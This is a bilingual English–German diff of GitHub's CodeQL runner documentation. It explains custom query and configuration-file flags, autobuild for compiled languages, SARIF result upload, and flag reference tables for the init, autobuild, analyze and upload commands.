If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.code-scanning.codeql_runner %} uses the additional queries specified with the <nobr>`--queries`</nobr> flag instead of any in the configuration file.
If you want to run the combined set of additional queries specified with the flag and in the configuration file, prefix the value passed to <nobr>`--queries`</nobr> with the `+` symbol.
For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)."
Wenn du auch für benutzerdefinierte Einstellungen eine Konfigurationsdatei verwendest und zusätzliche Abfragen mit dem `--queries`-Flag angibst, verwendet der {% data variables.code-scanning.codeql_runner %} die mit dem <nobr>`--queries`</nobr>-Flag angegebenen zusätzlichen Abfragen anstelle der Anfragen in der Konfigurationsdatei.
Wenn du eine Kombination aus den mit dem Flag und in der Konfigurationsdatei angegebenen zusätzlichen Abfragen ausführen möchtest, stelle dem an <nobr>`--queries`</nobr> übergebenen Wert das `+`-Symbol voran.
Weitere Informationen findest du unter [Verwenden einer benutzerdefinierten Konfigurationsdatei](#using-a-custom-configuration-file).
In the following example, the `+` symbol ensures that the {% data variables.code-scanning.codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file.
Im folgenden Beispiel wird mit dem `+`-Symbol sichergestellt, dass der {% data variables.code-scanning.codeql_runner %} die zusätzlichen Abfragen zusammen mit den in der referenzierten Konfigurationsdatei angegebenen Abfragen verwendet.
```shell
$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml
--queries +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main
```
## Using a custom configuration file
## Verwenden einer benutzerdefinierten Konfigurationsdatei
Instead of passing additional information to the {% data variables.code-scanning.codeql_runner %} commands, you can specify custom settings in a separate configuration file.
Du kannst benutzerdefinierte Einstellungen in einer separaten Konfigurationsdatei angeben, anstatt zusätzliche Informationen an die {% data variables.code-scanning.codeql_runner %}-Befehle zu übergeben.
The configuration file is a YAML file. It uses syntax similar to the workflow syntax for {% data variables.product.prodname_actions %}, as illustrated in the examples below. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)."
Die Konfigurationsdatei ist eine YAML-Datei. Wie in den folgenden Beispielen veranschaulicht verwendet sie eine Syntax ähnlich der Workflowsyntax für {% data variables.product.prodname_actions %}. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions).
Use the `--config-file` flag of the `init` command to specify the configuration file. The value of <nobr>`--config-file`</nobr> is the path to the configuration file that you want to use. This example loads the configuration file _.github/codeql/codeql-config.yml_.
Verwende das `--config-file`-Flag des `init`-Befehls, um die Konfigurationsdatei anzugeben. Der Wert von <nobr>`--config-file`</nobr> entspricht dem Pfad zur Konfigurationsdatei, die du verwenden möchtest. In diesem Beispiel wird die Konfigurationsdatei _.github/codeql/codeql-config.yml_ geladen.
```shell
$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml
@ -109,108 +111,108 @@ $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-c
{% data reusables.code-scanning.custom-configuration-file %}
### Example configuration files
### Beispielkonfigurationsdateien
{% data reusables.code-scanning.example-configuration-files %}
## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages
## Konfigurieren von {% data variables.product.prodname_code_scanning %} für kompilierte Sprachen
For the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, {% data variables.product.prodname_codeql %} builds the code before analyzing it. {% data reusables.code-scanning.analyze-go %}
Für die kompilierten Sprachen C/C++, C#{% ifversion codeql-go-autobuild %}, Go{% endif %} und Java erstellt {% data variables.product.prodname_codeql %} den Code, bevor er analysiert wird. {% data reusables.code-scanning.analyze-go %}
For many common build systems, the {% data variables.code-scanning.codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first.
Für viele gängige Buildsysteme kann der {% data variables.code-scanning.codeql_runner %} den Code automatisch kompilieren. Führe `autobuild` zwischen den Schritten `init` und `analyze` aus, um den Code automatisch zu kompilieren. Beachte, dass du zunächst möglicherweise manuell ein Buildtool installieren musst, wenn dein Repository eine bestimmte Version dieses Buildtools erfordert.
The `autobuild` process only ever attempts to build _one_ compiled language for a repository. The language automatically selected for analysis is the language with the most files. If you want to choose a language explicitly, use the `--language` flag of the `autobuild` command.
Der `autobuild`-Prozess versucht immer nur _eine_ kompilierte Sprache für ein Repository zu kompilieren. Die automatisch für die Analyse ausgewählte Sprache ist die Sprache mit den meisten Dateien. Verwende das `--language`-Flag des `autobuild`-Befehls, wenn du eine Sprache explizit auswählen möchtest.
```shell
$ /path/to-runner/codeql-runner-linux autobuild --language csharp
```
If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)."
Wenn der `autobuild`-Befehl deinen Code nicht kompilieren kann, kannst du die Buildschritte zwischen den Schritten `init` und `analyze` selbst ausführen. Weitere Informationen findest du unter [Ausführen von {% data variables.code-scanning.codeql_runner %} im CI-System](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example).
## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %}
## Hochladen von {% data variables.product.prodname_code_scanning %}-Daten in {% data variables.product.prodname_dotcom %}
By default, the {% data variables.code-scanning.codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command.
Wenn du den `analyze`-Befehl ausführst, lädt der {% data variables.code-scanning.codeql_runner %} standardmäßig Ergebnisse des {% data variables.product.prodname_code_scanning %} hoch. Mithilfe des `upload`-Befehls kannst du SARIF-Dateien auch separat hochladen.
Once you've uploaded the data, {% data variables.product.prodname_dotcom %} displays the alerts in your repository.
- If you uploaded to a pull request, for example `--ref refs/pull/42/merge` or `--ref refs/pull/42/head`, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
- If you uploaded to a branch, for example `--ref refs/heads/my-branch`, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
Nachdem du die Daten hochgeladen hast, zeigt {% data variables.product.prodname_dotcom %} die Warnungen in deinem Repository an.
- Wenn du die Daten in einen Pull Request hochgeladen hast (z. B. `--ref refs/pull/42/merge` oder `--ref refs/pull/42/head`), werden die Ergebnisse als Warnungen in einer Pull-Request-Überprüfung angezeigt. Weitere Informationen findest du unter [Selektieren von Codeüberprüfungswarnungen in Pull Requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests).
- Wenn du Daten in einen Branch hochgeladen hast (z. B. `--ref refs/heads/my-branch`), werden die Ergebnisse auf der Registerkarte **Sicherheit** für dein Repository angezeigt. Weitere Informationen findest du unter [Verwalten von Codeüberprüfungswarnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository).
## {% data variables.code-scanning.codeql_runner %} command reference
## {% data variables.code-scanning.codeql_runner %}-Befehlsreferenz
The {% data variables.code-scanning.codeql_runner %} supports the following commands and flags.
Der {% data variables.code-scanning.codeql_runner %} unterstützt die folgenden Befehle und Flags.
### `init`
Initializes the {% data variables.code-scanning.codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed.
Initialisiert den {% data variables.code-scanning.codeql_runner %} und erstellt eine {% data variables.product.prodname_codeql %}-Datenbank für jede zu analysierende Sprache.
| Flag | Required | Input value |
| Flag | Erforderlich | Eingabewert |
| ---- |:--------:| ----------- |
| `--repository` | ✓ | Name of the repository to initialize. |
| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.code-scanning.codeql_runner %} detects and analyzes all supported languages in the repository. |
| `--queries` | | Comma-separated list of additional queries to run, in addition to the default suite of security queries. This overrides the `queries` setting in the custom configuration file. |
| `--config-file` | | Path to custom configuration file. |
| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.code-scanning.codeql_runner %} downloads a copy. |
| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. |
| `--tools-dir` | | Directory where {% data variables.product.prodname_codeql %} tools and other files are stored between runs. The default is a subdirectory of the home directory. |
| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory. |
| `--debug` | | None. Prints more verbose output. |
| <nobr>`--trace-process-name`</nobr> | | Advanced, Windows only. Name of the process where a Windows tracer of this process is injected. |
| <nobr>`--trace-process-level`</nobr> | | Advanced, Windows only. Number of levels up of the parent process where a Windows tracer of this process is injected. |
| `-h`, `--help` | | None. Displays help for the command. |
| `--repository` | ✓ | Name des zu initialisierenden Repositorys |
| `--github-url` | ✓ | URL der {% data variables.product.prodname_dotcom %}-Instanz, in der dein Repository gehostet wird |
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Liest das {% data variables.product.prodname_github_apps %}-Token oder {% data variables.product.pat_generic %} aus der Standardeingabe. |
| `--languages` | | Durch Kommas getrennte Liste der zu analysierenden Sprachen. Der {% data variables.code-scanning.codeql_runner %} erkennt und analysiert standardmäßig alle unterstützten Sprachen im Repository. |
| `--queries` | | Durch Kommas getrennte Liste zusätzlicher Abfragen, die ausgeführt werden sollen, zusätzlich zur Standardsammlung von Sicherheitsabfragen. Hiermit wird die `queries`-Einstellung in der benutzerdefinierten Konfigurationsdatei überschrieben. |
| `--config-file` | | Pfad zur benutzerdefinierten Konfigurationsdatei |
| `--codeql-path` | | Pfad zu einer Kopie der ausführbaren Datei der {% data variables.product.prodname_codeql %}-CLI, die verwendet werden soll. Der {% data variables.code-scanning.codeql_runner %} lädt standardmäßig eine Kopie herunter. |
| `--temp-dir` | | Verzeichnis, in dem temporäre Dateien gespeichert werden. Der Standardwert lautet `./codeql-runner`. |
| `--tools-dir` | | Verzeichnis, in dem {% data variables.product.prodname_codeql %}-Tools und andere Dateien zwischen Ausführungen gespeichert werden. Die Standardeinstellung ist ein Unterverzeichnis des Stammverzeichnisses. |
| <nobr>`--checkout-path`</nobr> | | Pfad zum Check-Out deines Repositorys. Die Standardeinstellung ist das aktuelle Arbeitsverzeichnis. |
| `--debug` | | Keine. Gibt eine ausführlichere Ausgabe aus. |
| <nobr>`--trace-process-name`</nobr> | | Erweitert, nur Windows. Name des Prozesses, in den ein Windows-Tracer dieses Prozesses injiziert wird. |
| <nobr>`--trace-process-level`</nobr> | | Erweitert, nur Windows. Anzahl der nächsthöheren Ebenen des übergeordneten Prozesses, in den ein Windows-Tracer dieses Prozesses injiziert wird. |
| `-h`, `--help` | | Keine. Zeigt Hilfe für den Befehl an. |
### `autobuild`
Attempts to build the code for the compiled languages C/C++, C#, and Java. For those languages, {% data variables.product.prodname_codeql %} builds the code before analyzing it. Run `autobuild` between the `init` and `analyze` steps.
Versucht, den Code für die kompilierten Sprachen C/C++, C# und Java zu kompilieren. Für diese Sprachen kompiliert {% data variables.product.prodname_codeql %} den Code vor dessen Analyse. Führe `autobuild` zwischen den Schritten `init` und `analyze` aus.
| Flag | Required | Input value |
| Flag | Erforderlich | Eingabewert |
| ---- |:--------:| ----------- |
| `--language` | | The language to build. By default, the {% data variables.code-scanning.codeql_runner %} builds the compiled language with the most files. |
| <nobr>`--temp-dir`</nobr> | | Directory where temporary files are stored. The default is `./codeql-runner`. |
| `--debug` | | None. Prints more verbose output. |
| <nobr> `-h`, `--help`</nobr> | | None. Displays help for the command. |
| `--language` | | Zu kompilierende Sprache. Der {% data variables.code-scanning.codeql_runner %} kompiliert standardmäßig die kompilierte Sprache mit den meisten Dateien. |
| <nobr>`--temp-dir`</nobr> | | Verzeichnis, in dem temporäre Dateien gespeichert werden. Der Standardwert lautet `./codeql-runner`. |
| `--debug` | | Keine. Gibt eine ausführlichere Ausgabe aus. |
| <nobr> `-h`, `--help`</nobr> | | Keine. Zeigt Hilfe für den Befehl an. |
### `analyze`
Analyzes the code in the {% data variables.product.prodname_codeql %} databases and uploads results to {% data variables.product.product_name %}.
Analysiert den Code in den {% data variables.product.prodname_codeql %}-Datenbanken und lädt Ergebnisse in {% data variables.product.product_name %} hoch.
| Flag | Required | Input value |
| Flag | Erforderlich | Eingabewert |
| ---- |:--------:| ----------- |
| `--repository` | ✓ | Name of the repository to analyze. |
| `--commit` | ✓ | SHA of the commit to analyze. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. |
| `--ref` | ✓ | Name of the reference to analyze, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. |
| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory. |
| `--no-upload` | | None. Stops the {% data variables.code-scanning.codeql_runner %} from uploading the results to {% data variables.product.product_name %}. |
| `--output-dir` | | Directory where the output SARIF files are stored. The default is in the directory of temporary files. |
| `--ram` | | Amount of memory to use when running queries. The default is to use all available memory. |
| <nobr>`--no-add-snippets`</nobr> | | None. Excludes code snippets from the SARIF output. |
| <nobr>`--category`<nobr> | | Category to include in the SARIF results file for this analysis. A category can be used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. This value will appear in the `<run>.automationDetails.id` property in SARIF v2.1.0. |
| `--threads` | | Number of threads to use when running queries. The default is to use all available cores. |
| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. |
| `--debug` | | None. Prints more verbose output. |
| `-h`, `--help` | | None. Displays help for the command. |
| `--repository` | ✓ | Name des zu analysierenden Repositorys |
| `--commit` | ✓ | SHA des zu analysierenden Commits. In Git und Azure DevOps entspricht dies dem Wert von `git rev-parse HEAD`. In Jenkins entspricht dies `$GIT_COMMIT`. |
| `--ref` | ✓ | Name des zu analysierenden Verweises (z. B. `refs/heads/main` oder `refs/pull/42/merge`). In Git oder Jenkins entspricht dies dem Wert von `git symbolic-ref HEAD`. In Azure DevOps entspricht dies `$(Build.SourceBranch)`. |
| `--github-url` | ✓ | URL der {% data variables.product.prodname_dotcom %}-Instanz, in der dein Repository gehostet wird |
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Liest das {% data variables.product.prodname_github_apps %}-Token oder {% data variables.product.pat_generic %} aus der Standardeingabe. |
| <nobr>`--checkout-path`</nobr> | | Pfad zum Check-Out deines Repositorys. Die Standardeinstellung ist das aktuelle Arbeitsverzeichnis. |
| `--no-upload` | | Keine. Sorgt dafür, dass der {% data variables.code-scanning.codeql_runner %} keine Ergebnisse mehr in {% data variables.product.product_name %} hochlädt. |
| `--output-dir` | | Verzeichnis, in dem die SARIF-Ausgabedateien gespeichert werden. Die Standardeinstellung entspricht dem Verzeichnis temporärer Dateien. |
| `--ram` | | Menge des beim Ausführen von Abfragen zu verwendenden Arbeitsspeichers. Die Standardeinstellung legt fest, dass der gesamte verfügbare Arbeitsspeicher verwendet wird. |
| <nobr>`--no-add-snippets`</nobr> | | Keine. Schließt Codeausschnitte aus der SARIF-Ausgabe aus. |
| <nobr>`--category`<nobr> | | Kategorie, die in die SARIF-Ergebnisdatei für diese Analyse aufgenommen werden soll. Eine Kategorie kann verwendet werden, um mehrere Analysen für dasselbe Tool und denselben Commit zu unterscheiden, die jedoch für verschiedene Sprachen oder Teile des Codes ausgeführt werden. Dieser Wert wird in der `<run>.automationDetails.id`-Eigenschaft in SARIF v2.1.0 angezeigt. |
| `--threads` | | Anzahl der beim Ausführen von Abfragen zu verwendenden Threads. Die Standardeinstellung legt fest, dass alle verfügbaren Kerne verwendet werden. |
| `--temp-dir` | | Verzeichnis, in dem temporäre Dateien gespeichert werden. Der Standardwert lautet `./codeql-runner`. |
| `--debug` | | Keine. Gibt eine ausführlichere Ausgabe aus. |
| `-h`, `--help` | | Keine. Zeigt Hilfe für den Befehl an. |
### `upload`
Uploads SARIF files to {% data variables.product.product_name %}.
Lädt SARIF-Dateien in {% data variables.product.product_name %} hoch.
{% note %}
**Note**: If you analyze code with the CodeQL runner, the `analyze` command uploads SARIF results by default. You can use the `upload` command to upload SARIF results that were generated by other tools.
**Hinweis:** Wenn du Code mit dem CodeQL-Runner analysierst, lädt der `analyze`-Befehl standardmäßig SARIF-Ergebnisse hoch. Du kannst den `upload`-Befehl zum Hochladen von SARIF-Ergebnissen verwenden, die von anderen Tools generiert wurden.
{% endnote %}
| Flag | Required | Input value |
| Flag | Erforderlich | Eingabewert |
| ---- |:--------:| ----------- |
| `--sarif-file` | ✓ | SARIF file to upload, or a directory containing multiple SARIF files. |
| `--repository` | ✓ | Name of the repository that was analyzed. |
| `--commit` | ✓ | SHA of the commit that was analyzed. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. |
| `--ref` | ✓ | Name of the reference that was analyzed, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. |
| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory. |
| `--debug` | | None. Prints more verbose output. |
| `-h`, `--help` | | None. Displays help for the command. |
| `--sarif-file` | ✓ | Hochzuladende SARIF-Datei oder Verzeichnis, das mehrere SARIF-Dateien enthält |
| `--repository` | ✓ | Name des analysierten Repositorys |
| `--commit` | ✓ | SHA des analysierten Commits. In Git und Azure DevOps entspricht dies dem Wert von `git rev-parse HEAD`. In Jenkins entspricht dies `$GIT_COMMIT`. |
| `--ref` | ✓ | Name des analysierten Verweises (z. B. `refs/heads/main` oder `refs/pull/42/merge`). In Git oder Jenkins entspricht dies dem Wert von `git symbolic-ref HEAD`. In Azure DevOps entspricht dies `$(Build.SourceBranch)`. |
| `--github-url` | ✓ | URL der {% data variables.product.prodname_dotcom %}-Instanz, in der dein Repository gehostet wird |
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Liest das {% data variables.product.prodname_github_apps %}-Token oder {% data variables.product.pat_generic %} aus der Standardeingabe. |
| <nobr>`--checkout-path`</nobr> | | Pfad zum Check-Out deines Repositorys. Die Standardeinstellung ist das aktuelle Arbeitsverzeichnis. |
| `--debug` | | Keine. Gibt eine ausführlichere Ausgabe aus. |
| `-h`, `--help` | | Keine. Zeigt Hilfe für den Befehl an. |

Некоторые файлы не были показаны из-за слишком большого количества измененных файлов Показать больше